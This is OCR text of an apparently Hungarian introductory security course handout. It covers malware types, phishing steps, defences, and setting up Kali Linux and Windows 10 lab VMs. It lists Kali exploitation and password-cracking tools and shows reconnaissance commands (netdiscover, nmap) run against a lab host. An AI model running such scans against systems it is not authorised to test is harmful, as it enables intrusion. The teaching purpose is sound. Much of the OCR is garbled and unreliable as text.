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Bevezetés

Virusok és férgek

Malicious software, malware, malicious code vagy malcode — az angol nyelvi irodalom igy
nevezi azokaz a szoftvereket, amelyek arra tervetek, hogy rosszat, kartékonyat, akaratunkkal
ellenkezét csinaljanak példaul:

e lopjanak,

e kart okozzanak,

e torvénytelen dolgot miveljenek,

e megzavarjanak,

o felhasznaljak az eréforrasainkat (memoria., processzor, hattértar),
e sth.

Az alabbi osztalyokba sorolhatjuk ezeket:

e Virusok,
o férgek,
o trojaiak,
e botok.

A szamitogépes virus lemasolja magat és beszurja magat valamelyik programba, részévé
valik annak. A virusok egy része csupan valami bosszantd dolgot tesz. Van, ami az
adataidban okoz kart. és van, amelyik szolgaltatdsmegtagadasi tamadasokat (denial-of-
service, DOS) okoz. A legtdbbszér a virus egy végrehajthaté allomanyban bujik meg. A
megfert6z6dott gazdaprogram akar tovabbra is mikoddképes maradhat. Van olyan virus is,
amelyik elpusztitja a gazdaprogramjat.

Hogyan kerdl a virus a szamitégépre? A legtdbbszoér az alabbi médokon:

e haldzat,

e Kkulsé memoria,

o fajlmegosztas,

e e-mail melléklet,
e rendszerfrissités,
e diszk.

A szamitdgeép féreg is képes lemasolni magat masik szamitdgépre és igy képes terjedni. A
féreg egy kulonallé program. Nem kell neki gazdafajl a terjeszkedéshez. A féreg gyakran a
szamitogép valamiyen sebezhet6ségét kihasznalva jut be a rendszerbe.

A trojaiak a gérog falé utan kapta a nevét. Altalaban valami triikk segitségével jutnak be a
rendszerbe. A tr6jaiak karokozasi listajan szerepel az adatlopas, adatok lekddolasa, hatso
ajtok kinyitdsa mas kartékony kéd szamara. A trojaiak nem masoljak le magukat.

A szamitdgépes botok neve a robot szobdl egyszerlisdédoétt ki. Ezek automatikus eljarasok.

Osszekapcsolédnak mas halozati szolgaltatasokkal. A robotok jelszavakat lophatnak,
informaciokat  gydjthetnek,  billentylleltéseket  naplézhatnak, spam  Uzeneteket
tovabbithatnak.

A tamadas fazisait angol nyelven 5 p betlis széval szokas leirni [2]:



Probe FPenetrate Persist Fropagate Paralyze

Probe — Puhatol6zas: a célpontok azonositasa

Penetrate — Behatolas: - rosszindulatu kod tovabbitasa a célpontjahoz

Persist — Ragaszkodas: a rosszindulatu programok megprébalnak a rendszerben maradni
Propagate — Kiterjesztés: kiterjesztés mas rendszerekre

Paralyze — Paralizalas: - a rosszindulatu programok kart okoznak

Szamitasok szerint a jegyzet megirdsakor, 2021-ben a kiberblinézés okozta kar
6,000,000,000,000 USD (hattrillio $), és minden masodpercben 12 ember valik aldozatta.
Security Intelligence Report [3] statisztikai alapjan a rosszindulatu kéd elterjedése az alabbi
maodokon valésul meg:

e Felhasznaloi beavatkozas - 44.8%

e AutoRun: USB - 26%

e AutoRun: Halézat - 17.2%

o F3jl fert6zddés - 4.4%

e Sebezhetdség: A frissités régoéta elérhet6 - 3.2%
e Sebezhetbség: A frissités elérhetd - 2.4%

o Jelszé feltérés (Brute Force) - 1.4%

o Office makrok - 0.3%

e Sebezhetdség: Zero Day - 0%

Malware terjedés

B Felhasznaldi beavatkozds B AutoRun USB

m AutoRun: Haldzat Fajl fert6z6dés

B Sebezhetdség: A frissités régdta elérhet6 M Sebezhetség: A frissités elérheté
M Jelsz6 feltorés (Brute Force) B Office makrok

B Sebezhet8ség: Zero Day



1. A védekezés kulcsa a megeldzés.

a.

o

-

g.
h

Légy 6vatos
i. kerlld az ismeretlen ingyenes szoftvereket és a kal6z szoftvereket.
kerulje a privilegizalt (pl.: admin, root) fiokokat, ha nem szikséges.
alkalmazz biztonsagos konfiguraciokat.
tartsd naprakészen a géped. Alkalmazd a biztonsagi frissitéseket a béngészd,
az e -mail kliens és az operacioés rendszer szamara.
kilénitsd el a frissithetetlen szamitégépeket.
hasznalj fokozott védelmet bongészé6hdéz és e -mailjei klienshez, hasznalj
biztonsagos e -mail atjarot.
hasznalj rosszindulatl programok elleni eszk6zoket.
a halozati védelem legyen valos ideji.
tanitsd a felhasznaldkat gyanakvasra.

2. Legyenek a hozzaférések szabalyozva

a.

b
c.
d.
e

f.

Hasznald a szikséges legkevesebb jogosultsagot.

Szegmentald a halézatot.

Legyél évatos, amikor engedélyeket adsz az alkalmazasoknak.

Az alkalmazasokat megbizhato helyekrél toltse le, példaul az App Store -bdl.
Er6s felhasznaldi korlatozasi szabalyokat hasznalj az alkalmazasok
futtatasakor.

Hasznalj listat a megbizhaté az alkalmazasokrol

3. Hasznalj biztonsagi mentést

a.
b.
c.

d.
e.

Fontos, hogy legyen automatikus biztonsagi mentés.

Hasznalhatsz online szolgaltatasokat.

Gy6z6dj meg arrdl, hogy a kritikus adatokat tartalmazo biztonsagi masolat nem
megsemmisithetd.

Legyen biztonsagi mentések készitésének hazirendje.

A biztonsagi masolatokat legalabb két kilénbdz6 tipusu tarhelyen tarold,
amelyek kozll az egyik kulsoé.

Egészen néhany évvel ezel6ttig a kiberblin6z6k eréfeszitéseiket a rosszindulatu programokra,
az ezekkel végzett tamadasokra Osszpontositottdk, mert ezek nyujtottdak a legnagyobb
megtériilést. Ujabban az adathaldsz tdmadésokra helyezték a hangsulyt (~ 70%) azzal a
céllal, hogy felhasznal6i adatokat gy(jtsenek. [5] Lépései a kdvetkezdk:

1.

2.
3.

»

A blindz6k el6készitik infrastrukturajukat pl.: kompromittalt vagy hamis tartomanyokat
(domaineket). Ezzel informaciot gyljtenek a lehetséges célpontokrol.

Rosszindulatu e -mail Uzenetek kuldése.

Az aldozatot a hamis tartomanyba iranyitjak.

Az aldozat hamis Urlapba irja be a hitelesit6 adatokat, vagy az aldozat letdlt egy
rosszindulatu programot, amely hitelesité adatokat gyUjt az eszk6zon.

A bindzdk hozzaférnek az aldozat halézatahoz. A blin6z6k ugyanazokat a hitelesité
adatokat hasznaljak mas webhelyeken.

felallitasa

‘ Infrastrukiura

Karteﬁcony email — 'Har"nisvagy ) ) Azlaldazat . Jelszo felhasznélasa
kildése modositott domain jelzszavanak ellopasza
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A szamitogeépes kornyezet kialakitasa

Ebben a fejezetben bemutatjuk, hogyan alakithatsz ki egy virtualis kérnyezetet. Két operacios
rendszert fogunk hasznalni: Kali Linuxot és Windows 10-et. El6bbi a ,vizsgalo” operacios
rendszer lesz, utdbbi a vizsgalat célpontja.

Virtudlis kornyezet telepitése

A szoftver virtualizacié lehetévé teszi, hogy egy gazda szamitégépen egy vagy tobb virtualis
munkakdrnyezet legyen, példaul egy masik operaciés rendszer. igy kialakithatunk egy
Jjatszoteret” a biztonsagi teszteknek, amelyeket anélkil tudunk végrehajtani, hogy az él6
rendszerinket elrontanank.

Az Oracle ingyenes VirtualBox nevi rendszerét fogjuk hasznalni. ia jegyzet irasakor a v6.1 a
legfrissebb verzio. A letéltési oldal:

https://www.virtualbox.org/wiki/Downloads

https://www.virtualbox.org/wiki/Downloads|

JirtualBox

Here you will find links to VirtualBox binaries and its source code.

About VirtualBox binaries
Screenshots By downloading, you agree to the terms and cenditions of the respective license.
Downloads If you're looking for the latest VirtualBox 6.0 packages, see VirtualBox 6.0 builds. Please also ust

Documentation If you're looking for the latest VirtualBox 5.2 packages, see VirtualBox 5.2 builds. Please also ust

End-user docs

Technical docs VirtualBox 6.1.16 platform packages

Contribute . Windows hosts
) 05 X hosts
Cemmunity = Linux distributions

Solaris hosts
The binaries are released under the terms of the GPL version 2.
See the changelog for what has changed.
You might want to compare the checksums to verify the integrity of downloaded packages. The £
+ SHA256 checksums, MD5 checksums
Note: After upgrading VirtualBox it is recommended to upgrade the guest additions as well.
VirtualBox 6.1.16 Oracle VM VirtualBox Extension Pack
All supported platforms

Suppaort for USB 2.0 and USB 3.0 devices, VirtualBox RDP, disk encryption, NVMe and PXE boot f
and Evaluation License (PUEL). Please install the same version extension pack as your installed v

VirtualBox 6.1.16 Software Developer Kit (SDK)

All platferms

User Manual

A teljes telepitési utmutato [1] részletesen leirja a telepités minden aspektusat. Ebben a
jegyzetben a Windows gazdaszamitogépre vald telepités menetét irjuk le. Toltslk le az
alkalmazast és inditsuk el a telepitést.


https://www.virtualbox.org/wiki/Downloads

ﬁ Oracle VM VirtualBox 6.1.16 Setup

Welcome to the Oracle VM
VirtualBox 6.1.16 Setup
Wizard

The Setup Wizard will install Crade VM VirtualBox 6. 1. 16 on
your computer, Click Next to continue or Cancel to exit the
Setup Wizard.

Version 6.1. 16

ﬁ Oracle VM VirtualBox 6.1.16 Setup X

Custom Setup
Select the way you want features to be installed.

Click on the icons in the tree below to change the way features will be installed.

Oradle VM VirtualBox 6.1.16
application,

VirtualBox MNetworking

= V!rt\JE:BUX Bridge: This feature requires 217MB on
- & | VirtualBox Host-C your hard drive. Ithas 3of 3
122~ | VirtualBox Python 2x S| subfeatures selected. The

e = subfestures require 932KE on yo...

Location: C:'Program Files\Orade Wir tualBox, Browse

Version 6.1.16 Disk Usage < Back Cancel

5 Oracle VM VirtualBox 6.1.16 Setup

Custom Setup
Select the way you want features to be installed.

Please choose from the options below:

Create start menu entries
Create a shortcut on the desktop
Create a shortcut in the Quick Launch Bar

Register file assodations

Version 6.1.16 < Back Cancel

ﬁ Oracle VM VirtualBox 6.1.16 Setup

Ready to Install
The Setup Wizard is ready to begin the Custom installation,

Click Install to begin the installation. If you want to review or change any of your
installation settings, dick Back. Click Cancel to exit the wizard.

Version 6.1.16 < Back Install Cancel

A helyes mlkddéshez egy kiterjesztést (extension pack) is le kell téltenink, Figyeljink arra,

#5 Oracle VM VirtualBox 6.1.16

Warning:
Network Interfaces

Installing the Crade VM VirtualBox 6.1, 16 Networking
feature wil reset your network connection and tempararily
disconnect you from the network.

Proceed with installation now?

Version 6.1.16 ‘fes Mo

ﬁ Oracle VM VirtualBox 6.1.16 Setup

Oracle VM VirtualBox 6.1.16
installation is complete.

Click the Finish button to exit the Setup Wizard.

[] start Orade vM VirtualBox 6.1. 16 after installation

Version 6.1.16 < Back Cancel

hogy ennek a verziészama megegyezzen a VirtualBox verzidjaval (v6.1).

A telepitést az alabbi parancssorral végezhetjik el:

VBOXMANAGE EXTPACK INSTALL "C:\USERS\OLIVER\DOWNLOADS\ORACLE_VM_VIRTUALBOX_EXTENSION_PACK-

6.1.16.Gz"
Kali Linux telepitése

Készitslnk egy Uj virtudlis gépet. Adjunk hozza virtudlis tarhelyet, legaldbb 80GB tarhelyre

szukségunk lesz. Az operaciés rendszer legyen Debian Linux.




Create Virtual Machine

Mame and operating system

Name: [Kali inux

Machine Folder: [ || D:\irtuaMachine Kallinux

Type: | Linux

Version: | Debian (54-if)

Memory size
4MB

Hard disk

(O Do notadd a virtual hard disk

(® Create a virtual hard disk now

() Use an existing virtual hard disk file

Empty

? X ? b%
Create Virtual Hard Disk
l File location
| [DsWirtuaMachine WalLinuox Kl inux Kali inus. vl | @
- N File size |
[0, ‘
- ] 50,00 G8
4,00 MB 2,00TB
vB Hard disk file type Storage on physical hard disk

12238 MB (@ VDI (VirtualBox Disk Image)
O VHD (virtual Hard Disk)

() VMDK (Virtual Machine Disk)

(@ Dynamically allocated
() Fixed size

Splitinto files of less than 2GB

() HDD {Parallels Hard Disk)
) QCOW (QEMU Capy-On-rite)
(O QED (QEMU enhanced disk)

uaded Hode Cance Guided Moce Cance

A beallitasokat jol mutatja a kdvetkez6 abra:

'.l‘]' Oracle VM VirtualBox Manager

File Machine Help

;
Al Tools
s

Q@ 0D,

Mew Settings Discard Start

4]

@ General @ Preview
MName: Kali linux

Operating System: Debian (54-bit)

IE‘ System

Base Memory: 2048 MB

Boot Order: Floppy, Optical, Hard Disk

Acceleration:  VT-x/AMD-V, Nested Paging, KVM Paravirtualization
@ Display
Video Memory: 15 MB

Graphics Controller: WYMSVGA
Remote Desktop Server: Disabled
Recording: Disabled

Storage

Controller: IDE
IDE Secondary Master:  [Optical Drive] Empty

Controller: SATA
SATA Port O:

o Audio

Host Driver:  Windows DirectSound
Controller:  ICHACS7

Kali linux.vdi (Mormal, 80,00 GB)

&P Network

Adapter 1:  Intel PRO/1000 MT Desktop (MAT)

() uss 2
LISE Coptraller:  OHCT FHCT

Kattintsunk a beallitasokra (settings). Az altalanos (general) panelen valasszuk az Advanced
feliratut és engedélyezzilk a megosztott vagoélap és a Kétiranyu fogd-és-vidd opcidkat (Shared
Clipboard és Drag'n’Drop as Bidirectional.)

'E‘} Kali linux - Settings

E General
IEI System
|§| Display

@ Storage

Audio

? >
General
Basic Advanced Description Disk Encryption
Snapshot Folder: D WirtualMachine WaliLinux\ali linux'Snapshots w

Shared Clipboard: |Bidirectional

Drag'n'Drop: |Bidirectional

A minimalis memdriaigény meghatarozasa fiigg a hardver konfiguraciétél. A memodria
beallithaté a Motherboard fulén a System panelen. Legyen legalabb 2048 MB.




) Kali linux - Settings ? x

E General System
E Systemn Motherboard Processor Acceleration
Displa Base Memory: 2043 MB |3
p y ? ) 1 1 1 'I 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1
Storage 4MEB 12283 MB
_ Boot Order: Hard Disk | [#]
Audio O Optical |E|
Metwork Floppy
| Iﬂ Metwork
Serial Ports

Chipset: |PIIX3 -

LSB Pointing Device: |USE Tablet -
Extended Features: |~/| Enable IO APIC
Shared Folders HiEnded Features able 1/0
[] Enable EFI (special 0Ses only)

User Interface Hardware Clock in UTC Time

DS HYE®

Cancel

Hasznaljunk legalabb 2 processzort (CPU)

£ Kali linux - Settings ? >
E General System
E System Motherboard ~ Processor  Acceleration

|§| Display Processor(s): '

Storage 1CPU 3 CPUs
E tion Cap: 100% =
o casoncaps o Yol
Audio 1% 100%

|§| Metwiork Extended Features: [ ] Enable PAE/MY

Enable Mested VT-x/AMD-Y
& Serial Ports

A video memodria legalabb 128 MB legyen.




23 Kali linux - Settings ? X

E General Display

IEI System Screen Remote Display Recording

|§| Display Video Memory: '
m Starane O ME 123 MB

Az elsé inditaskor meg kell adni a Kali Linux I1SO fajl helyét.

Host Drive W' - B

[

Appliance fulén a beallitasok igy néznek ki:

€ Import Virtual Appliance

Appliance settings

These are the virtual machines contained in the appliance and the suggested settings of the imported VirtualBox machines. You can change many of the
properties shown by double-dicking on the items and disable others using the check boxes below.,

&) Product-URL
@ Vendor

(©) Vendor-URL
@ Version

@ Description
H Guest 05 Type
{J cru

& rom

@ ovD

@ USE Controller
iDII Sound Card

https:/fwww.kali.org/

Offensive Security
https:/fwww.offensive-security.com/
Relling (2020.4) x64

Kali Rolling (2020.4) x64...

[l Debian (64-bit)

2

2048 MB

ICH ACS7

@ Metwork Adapter Intel PRO/1000 MT Desktop (82540EM)
<> Storage Controller (IDE}  PlIX4
<> Storage Controller (IDE]  PlIX4
hd ’ Storage Controller (SATA]  AHCI
Yirtual Disk Image Kali-Linux-2020.4-vbox -amd&d-diskD01.wmdk

Base Folder Chlsers\ Oliver\VirtualBox VMs
Primary Group /
Machine Base Folder: | C:\sers'Oliver WirtualBox YMs

MAC Address Policy: | Incude only MAT network adapter MAC addresses

Additional Options; Import hard drives as VDI

Appliance is not signed

Restore Defaults Cancel

-_= W —— — - o = =

Alternativ telepitési mod:

Toltsuk le az alabbi VirtualBox lemezképet



https://help.offensive-security.com/hc/en-us/articles/360049796792-Kali-Linux-Virtual-Machine

A fajl kiterjesztése .ova. Duplakattintas utan a fajlt a VirtualBox megnyitja. Az alapértelmezett
jelszd kali/kali

Cancel

| KALI |

BY OFFENSIVE SECURITY

A kezdbképernyé:

06:16 AM O

KALI

BY OFFENSIVE SECURITY

VBox_GAs_-
6.1.16

Az elsé futtataskor a Devices menuben valasszuk az Insert Guest additions CD opciét. Ez egy
virtudlis CD lemezt mountol be, amelyen telepitéfajlok vannak. Egy jobb egérgomb
kattintassal nyissunk meg egy parancssori terminalt. Gépeljik be, hogy

sudo su
Igy rendszergazda jogosultsagit szerziink a jelsz6 beirasa utan. Az alabbu parancssor telepiti
a szlkséges kiterjesztést:


https://help.offensive-security.com/hc/en-us/articles/360049796792-Kali-Linux-Virtual-Machine

to be a root and enter the password kali. Then Run the following command to install (and
restart when prompted):

bash ./VBoxLinuxAdditions.run

A halozati elérést egy browser megnyitasaval ellenérizhetjik. Kivald alkalom a Kali forum [[3]]
megtekintésére.

Windows virtualis gép letdltése

El6re telepitett Windows 10 példanyokat tolthetink Ile az alabbi helyrél
https://developer.microsoft.com/en-us/microsoft-edge/tools/vms/

& & @ developer.microsoft.com/en-us/microsoft-edge/tools/vms/
B® Microsoft | Microsoft Edge Developer - Resources - Web Platform - Tools - Support  Careers

Home Y Tools Y VMs

Virtual Machines

Test IE11 and Microsoft Edge Legacy using free Windows 10
virtual machines you download and manage locally

Select a download

Virtual Machines

‘ MSEdge on Winl0 (x64) Stable 1809 ~ ‘

Choose a VM platform:

‘ VirtualBox ~ ‘

Download .zip >

A létrehozott virtualis gépek 90 napig mikddnek. A jelszé ,PasswOrd!” javasolt a kiegészitések
telepitése:

Devices | Insert Guest Additions CD Image

Hivatkozasok
[1] https://download.virtualbox.org/virtualbox/6.1.16/UserManual.pdf
[2] https://developer.microsoft.com/en-us/microsoft-edge/tools/vms/
[3] https://forums.kali.org/



https://developer.microsoft.com/en-us/microsoft-edge/tools/vms/
https://download.virtualbox.org/virtualbox/6.1.16/UserManual.pdf
https://developer.microsoft.com/en-us/microsoft-edge/tools/vms/
https://forums.kali.org/

Bevezetés a Kali Linux hasznalataba

Felhasznaldi felllet
A Kali Linux sok teszt eszkdzzel rendelkezik, ezek kiadasrol kiadasra valtoznak. Ebben a
fejezetben bemutatjuk, hogyan lehet ezeket elérni a felhasznaléi fellletrdl.

Amikor el6szér megnyitod a Kali Linuxot, egy Ures asztalt latsz. Felll helyezkedik el a talca,
rajta 5 ikon.

B  mEs|

= Open Folder

(] Openin Terminal

B Desktop
Tra

® Documents

@ Downloads
E Music
— Pictures

Public
@ Templates
= \/ideos

f

Home

A kbzépso ikon hasonlit a Windows rendszeréhez, a gyakran hasznalt konyvtarak érheték el:
Documents, Downloads, Pictures stb.

\‘ \Termimal_Emul_ator

[ File Manager
r’_ Text Editor
@ Web Browser
T8 Kali Linux
2 Kali Docs

Kali Bugs

ecurity Training
ploit Database

VulnHub
e Engineering

loitation Tools

2 - Reporting Tools

8 Kali

A baloldali ikon a Kali menujét nyitja meg. Itt talalhatok az el6re telepitett alkalmazasok,
rendszereszkozok. A koOvetkezd tablazat megmutatja ezeket az eszkozoket, [1] pedig
részletes leirast kdzol azokrol. A felsé sor egy keresémezd, az alkalmazasok gyorsan
elérhetdk a segitségével. A Kali eszkbzei csoportositva:



Informacio gy(ijté eszk6zok

ace-voip
Amap

APT2
arp-scan
Automater
bing-ip2hosts
braa
CaseFile
CDPSnarf
cisco-torch
copy-router-
config
DMitry
dnmap
dnsenum
dnsmap
DNSRecon
dnstracer
dnswalk
DotDotPwn
enumdlinux
enumlIAX
EyeWitness
Faraday
Fierce
Firewalk
fragroute
fragrouter
Ghost Phisher
Golismero
goofile
hping3
ident-user-enum
InSpy

InTrace

iSMTP

Ibd

Maltego Teeth
masscan
Metagoofil
Miranda
nbtscan-unixwiz
Nikto

Nmap

ntop
OSRFramework
pOf

Parsero
Recon-ng

SET

SMBMap
smtp-user-enum
snmp-check
SPARTA
sslcaudit
SSLsplit
sslstrip

SSLyze
Sublist3r
THC-IPV6
theHarvester
TLSSLed

twofi
Unicornscan
Wireshark
WOL-E

Xplico

Sebezhetfséget
ellenérz6 eszkozok
BBQSQL

BED
cisco-auditing-tool
cisco-global-exploiter
cisco-ocs
cisco-torch
copy-router-config
Doona
DotDotPwn
HexorBase

jSQL Injection
Lynis

Nmap

ohrwurm

openvas

Oscanner
Powerfuzzer

sfuzz

SidGuesser
SIPArmyKnife
sqlmap

Sqlninja

sqlsus

THC-IPV6
tnscmd10g
unix-privesc-check
Yersinia

Stress tesztel6
eszkozok
DHCPig
FunkLoad
iaxflood
Inundator
inviteflood
ipv6-toolkit
mdk3

Reaver
rtpflood
SlowHTTPTest
t50
Termineter
THC-IPV6
THC-SSL-DOS

Jelszd to6ré eszkozok

BruteSpray
Burp Suite
CeWL

chntpw
cisco-auditing-tool
CmosPwd
creddump
crowbar

crunch
findmyhash
gpp-decrypt
hash-identifier
Hashcat
HexorBase
THC-Hydra
John the Ripper
Johnny

keimpx
Maltego Teeth
Maskprocessor
multiforcer
Ncrack
oclgausscrack
ophcrack

PACK

patator
phrasendrescher
polenum
RainbowCrack
rcracki-mt
RSMangler
Seclists
SQLdict
Statsprocessor
THC-pptp-bruter
TrueCrack
WebScarab
wordlists
zaproxy

Exploitation eszkdzok

Armitage

Backdoor Factory
BeEF
cisco-auditing-tool
cisco-global-exploiter
Ccisco-ocs

cisco-torch

Commix

crackle

exploitdb
jboss-autopwn

Linux Exploit Suggester
Maltego Teeth
Metasploit Framework
MSFPC

RouterSploit

SET

ShellNoob

sqlmap

THC-IPV6

Yersinia



Alapvet6 Kali Linux terminal parancsok

Tudhatjuk, hogy minden Linux disztribacié esetén a terminal igen fontos. A Command
Linelnterface (CLI) eléréséhez a Favorites | Terminal emulator menul szolgal, vagy felll a
negyedik ikon balrél. Sok meniben a jobb egérgombra felugré kontext meniben is
megnyithatjuk a terminalt.

Hogy kiprébaljuk a mikddéset, irjuk be, hogy

echo ,Hello World”

1 kali@kali: ~

File Actions Edit View Help

[j_ 'Hello ;:r"

Hello Word

A parancs kiadasa utan Enter billenty(t kell nyomni. A kimenet a kdvetkezd sorokban jelenik
majd meg.

sudo

A sudo parancs a "SuperUser Do" roviditése. Gyakori parancs, ha valamilyen utasitasnak root
privilégiumokkal kell futnia, akkor a sudo-t hasznaljuk.

Példaul, ha a passwords (jelszavak) fajlt akarjuk megnézni, ehhez root jogosultsag kell.Az
utasitas:

sudo cat /etc/passwd.

File Actions Edit View Help

A parancs kiadasa utan a Kali kéri a root jelszavat. A rakdvetkezd parancsok mart ,sima”
felhasznaldi jogosultsaggal fognak futni. Ha azt szeretnéd, hogy tartdsan root jogosultsagod
legyen akkor a

sudo su

parancsot kell kiadni. Figyeld meg, hogy a prompt atvaltozik # jellé amikor root jogosultsagod
van.



File Actions Edit View Help

-~

fhome/kali

pwd

A pwd (print work directory) parancs az abszolut utvonalat mutatja, azaz a gyokérbdl kiinduld
utvonalat. A gyokér a Linux fajlrendszerének alapja. Az el6érefelé mutato perjel (/) a jele. A
felhasznaléi konyvtar pedig valami olyasmi, mint ,/home/kali" — ahol ,kali” a felhasznaldi
neved.

File Actions Edit View Help

s

Jhome/kali

"

Is

Az Is parancs kilistazza annak a kdnyvtarnak a tartalmat, ahol vagy.; -a parameter a rejtett
fajlokat is kiirja, mig a -l kapcsold hosszu listazasi formatumot ad.



File Actions Edit View Help

.face

.ICEauthority

.profile

cd

A koényvtarvaltas a CD paranccsal lehetséges. Ha a terminalban elkezdjik a gépelést, akkor
a begépelt szbveggel kezdd6dd konyvtar nevek megjelennek. Ez az automatikus kitoltés
funkcié nagyon hasznos. A kdnyvtarstrukturaban felfelé Iépni a cd .. paranccsal lehet. A perijel
a gyokér kdnyvtarat jelenti.

File Actions Edit View Help

kali kali 4096 Nov

kali kali 807 Nov : .profile

kali kali 4096 Nov

kali kali 4096 Nov

kali kali Jan S .vboxclient-clipboard.pid
kali kali Jan .vboxclient-display-svga-x11.pid
kali kali Jan g .vboxclient-draganddrop.pid
kali kali Jan : .vboxclient-seamless.pid
kali kali Nov

kali kali Dec $ .viminfo

kali kali Jan : .Xauthority

kali kali Jan g .Xsession-errors

kali kali Dec : .Xsession-errors.old

kali kali Jan $ .zsh_history

kali kali Nov s .zshrc

drwxr-xr-x
-TW-r—Tr—
drwxr-xr-x
drwxr-xr-x
-Tw-r
-TwW-1
-TW-T
-Tw-r
drwxr-xr-x
-Tw

-Tw

-rw

-rw
-TW-r—Tr—
-TwW-r—1r-—

o N NN N

~

Documents

- ~/Documents ]




mkdir, rmdir
Az aktudlis mappaban konyvtar létrehozasdhoz hasznald az mkdir parancsot, az rmdir
eltavolitja az Ures kényvtarat.

kali@kali: ~

File Actions Edit View Help

%

rm
Fajlok és alkdnyvtarak torléséhez hasznald az rm parancsot.

cp

Fajlok masolasa. Elsé paramétere a forrasfajl, a masodik a cél f3jl
mv

Ez a parancs athelyezi vagy atnevezi a fajlokat.

kali@kali: ~ftest

File Actions Edit View Help

sample.txt

-[~/test]

sample.txt

’_— - :‘-J’test
sam

[~/test]
L

newname.txt

C:
Csn

chmod
A chmod hasznalataval modosithatod a fajlhoz adott engedélyeket. Linux alatt a végrehajtasi
az olvasasi és irasi engedélyek vannak.



Nézd meg példaul az Is -al parancsot. Minden sorban az elsé karakter vagy d, amely egy
konyvtarat jelent, vagy egy kotdjel, amely egy fajlt jeldl. A kdvetkezd kilenc karakter a harom
engedélycsoport beallitasait jelenti:

o Az els6 harom karakter a felhasznaldi jogosultsagokat mutatja.
o A kbzéps6 harom karakter a csoport jogosultsagait mutatja.
o Az utolsé harom karakter a tébbi felhasznald jogosultsagait mutatja.

A betik jelentése a kdvetkezd:

e r: Read, azaz olvasasi jogosultsag. A fajl megnyithato, és a tartalma megtekinthet6

o w: Write, azaz irasi jogosultsag. A fajl szerkeszthetd, mddosithato és tordlhetd.

o X: Execute, azaz végrehajtasi jogosultsag. Ha a fajl szkript vagy program, akkor
futtathato (végrehajthato).

man, -help
A sugo6 kézikdnyvet a man (manual) utasitassal lehet elérni. A leirason kivil felhasznalasi
példakat is kaphatsz a parancsokrol.

File Actions Edit View Help

’_— . -[~/test]

-[~/test]
Y |

A

man rm

oldal példaul igy néz ki

kali@kali: ~test
File Actions Edit View Help

RM(1) User Commands
rm - remove files or directories
[OPTION] ... [FILE]...
This manual page doc rs £ rm. removes each specified file. By default, it does not re es.

If the -I or -—in i s given, and there are more than thre the -r, -R, or —r given, then rm prompts the user for whether to
proceed with the enti: a . f e e is not affirmative, the entir nd is aborted.

Otherwise, if a file is unwritable, standard input is a terminal, and the f or - t given, or the -i or -—interactive=always option is given,
prompts the user for whether to remove the file. If the response is not affir e file is skipped.

Remove (unlink) the FILE(s).

ignore nonexistent files and arguments, never prompt

prompt before 1

prompt ving more than three files, or when removing recursively; less intrusive than -i, while still giving protection against most mistakes
EN

prompt according to WHEN: never, once (-I), or always (-i); without WHEN, prompt always

when removing a hierarchy recursively, skip any directory that is on a file system different from that of the corresponding command line argument

do not ! specially

do n reject any command line argument on a separate device from its parent

remove




Updating Kali packages
/etc/apt/sources. lista tartalmazza a Kali Linux adattarak listajat. Er6sen ajanlott, hogy csak a
hivatalos adattarakat hasznald.

Az alkalmazascsomagok indexeinek listajat az alabbi utasitas frissiti
sudo apt update

A frissitésre beltemezett csomagok megjelenitése:

apt list --upgradable

Egy adott csomag frissitéséhez futtasd

sudo apt install PACKAGE-NAME

Az 6sszes csomag frissitése egy munkamenet soran:

sudo apt upgrade

Az elavult csomagok eltavolitasahoz futtasd:

sudo apt autoremove

A halézat felderitése
Elészor meg kell hataroznia a hasznalt halozatot. irja be az

ifconfig

parancsot

File Actions Edit View Help

=

collisions @

txqueuelen 100 | Loopback )
bytes 556 @ B)
dropped @
2 bytes 556
dropped @ overr @ collisions @

A valaszbdl az latszik, hogy az IP cimed192.168.1.102 a ethO LAN halozaton.

A halozat feltérképezésére gépeld be az alabbi parancsot:



netdiscover

Felhasznalas: netdiscover [-i device] [-r range | -l file | -p] [-m file] [-F filter] [-s time] [-c count]
[-n node] [-dfPLNS]

-i device: a halézati eszk6z

-r range: egy adott tartomany beolvasasa az automatikus keresés helyett..
192.168.6.0/24,/16,/8

-l fileaz adott fajlban talalhaté tartomanyok listajanak beolvasasa

-p passive mode: passziv mod: ne kildjon semmit, cask szaglasszon

-m file: az ismert MAC cimek és gazdagépnevek listdjanak beolvasasa

-F filter: a pcap szir6 kifejezés testreszabasa (alapértelmezett: "arp")

-s time: alvasi id6 minden ARP kérés kdzott (ezredmasodperc)

-c count: az egyes ARP kérések elkildésének szama (csomagvesztéssel rendelkezd
hal6zatok esetén)

-n node: a szkenneléshez hasznalt utolso forras IP -oktett (2 -t8l 253 -ig)

-d figyelmen kivil hagyja az “otthoni” konfiguracios fajlokat az automatikus kereséshez és a
gyors médhoz

-f engedélyezi a gyors Uzemmodu szkennelést, sok id6t takarit meg, automatikus
hasznalathoz ajanlott

-P nyomtatas olyan formatumban, amely alkalmas egy masik program elemzésére, és az
aktiv szkennelés utan leall

-L hasonlé a -P -hez, de az aktiv szkennelés befejezése utan folytatja a szkennelést

-N Ne nyomtasson fejlécet. Csak akkor érvényes, ha a -P vagy -L engedélyezve van.

-S engedélyezi az alvasid6 elnyomasat az egyes kérések kdzott (hardcore maéd)
Példaul.:

sudo netdiscover -f -1 eth0 -r 192.168.1.101/24

root @ kali: fhome/kali

File Actions Edit View Help

Currently scanning: Finished! | Screen View: Unigue Hosts

245 Captured ARP Req/Rep packets, from 5 hosts. Total size: 14700

Count z MAC Vendor / Hostname

136
mtechnik GmbH
a

rporate
TECHNOLOGIES CO.,LTD

Az eredmény a fentihez hasonlé. Ebben a listdban van a célpont szamitégép.
nmap

Gépeld be, hogy

nmap -v -A -Pn 192.168.1.101.

Az eredményt az alabbi képernyd mutatja:



root @kali: fhome/kali

File Actions Edit View Help

Windows netbios-ssn

virtual NIC)

vindows_1@
ndows 10 17089 - 1989

(Good luck!)

r: <unknown>, NetBIOS M. D 59 (Oracle Virtual virtual NIC)

20s elapsed

@s elapsed

nned in 19
KB)

A képerny6n lathatd, hogy milyen operacids rendszereket és azokon, milyen nyitott portok
vannak.

Torolt adatok helyreallitasa

Ebben a fejezetben kitorllink egy fajlt a pendrajvon és aztan helyreallitjuk. Egy USB pendrive
hozzacsatolasa a virtualis géplnkhoz a kdvetkezbképpen lehetséges:

i Kali-Linux-2020.4-vbox-amd64 [Running] - Oracle VM VirtualBox ] Y - e 2

File Machine View Input [Devices] Help

B  Emls|

Kazam
